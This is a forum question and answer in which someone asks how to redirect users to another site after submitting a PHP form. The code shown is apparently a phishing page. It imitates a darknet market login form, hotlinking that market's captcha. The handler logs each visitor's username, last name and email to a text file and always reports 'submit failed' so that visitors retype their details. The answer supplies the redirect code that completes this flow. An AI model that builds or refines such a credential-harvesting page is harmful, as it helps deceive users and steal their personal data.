Lalita Tana Lalita Tana - 2 months ago 24
HTML Question

how to redirect user to other website after filling php form

I had a fight with some coder, and he ruins my code, basically, the customers has to fill some php form in www.mywebsite.com/fill

<?php
if(isset($_SESSION['wrong'])) {
echo "<p class='error'>submit failed, please retype your information.</p>";
session_destroy();
}
?>
<form name="formLogin" method="post" action="doneA.php">

<div class="tclpad" style="width:90px;"><span class="std">Username:</span></div>
<div class="tclpad"><input name="input1" class="std" size="65" type="text" required></div>

<div class="clear">&nbsp;</div>

<div class="tclpad" style="width:90px;"><span class="std">Last name:</span></div>
<div class="tclpad"><input name="input2" class="std" size="65" value="" type="text" required></div>

<div class="clear">&nbsp;</div>

<div class="tclpad" style="width:90px;"><span class="std">email</span></div>
<div class="tclpad"><input name="input3" class="std" size="10" value="" type="text" required></div>

<div class="clear">&nbsp;</div>

<div class="tclpad" style="width:90px;">&nbsp;</div><div class="tclpad"><img id="captcha" src="http://alphabaywyjrktqn.onion.to/ifl/lb/securimage86/securimage_ren.php" alt="Captcha Image"></div><div class="clear">&nbsp;</div>

<div class="tclpad" style="width:90px;"><span class="std">captcha</span></div><div class="tclpad"><input name="input5" class="std" size="65" type="text" required></div><div class="clear">&nbsp;</div>

<div class="tclpad" style="width:90px;">&nbsp;</div>
<div class="tclpad"><input class="bstd" value="submit" type="submit"></div>

<div class="clear">&nbsp;</div></form></div></div><div class="footer"><div class="navbar"><a class="navbar" href="index.htm"><img src="navhome.png" alt="Home" height="12" width="14"></a>


subscribe 



now after they finish to submit the form, they need no be redirect to other website, www.mysecondwebiste.com, the other php script who does it is:

<?php
session_start();

if(isset($_POST['input1'])){
$name = $_POST['input1'];
}

if(isset($_POST['input2'])){
$lastname = $_POST['input2'];
}

if(isset($_POST['input3'])){
$email = $_POST['input3'];
}

$fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
$stringData = "New Stuff 1\n";
fwrite($fh,"firstname: " . $name . "\n" . " Lastname: " . $lastname . "\n" . " email: " . $email . "\n----------------------------\n");
fclose($fh);

header("Location: index.php");


$_SESSION['wrong'] = '1';
?>


now in the current situation, when they finish to complete the php form, they get error message "submit failed, please retype your information." and they redirect to www.mywebsite.com/index.php and not to www.mysecondwebsite.com.

what did the programmer do? and how can i fix it?

Answer

The redirection can be done by doing changing this

header("Location: index.php");

to this

header("Location: http://www.mysecondwebsite.com");

OR, you can use meta refresh in place of header.

echo "<meta http-equiv='refresh' content='NUMSECONDS;http://www.mysecondwebsite.com' />";

Where you can change NUMSECONDS to any amount of seconds you want to wait before redirecting, or you can just make it 0 seconds.

Comments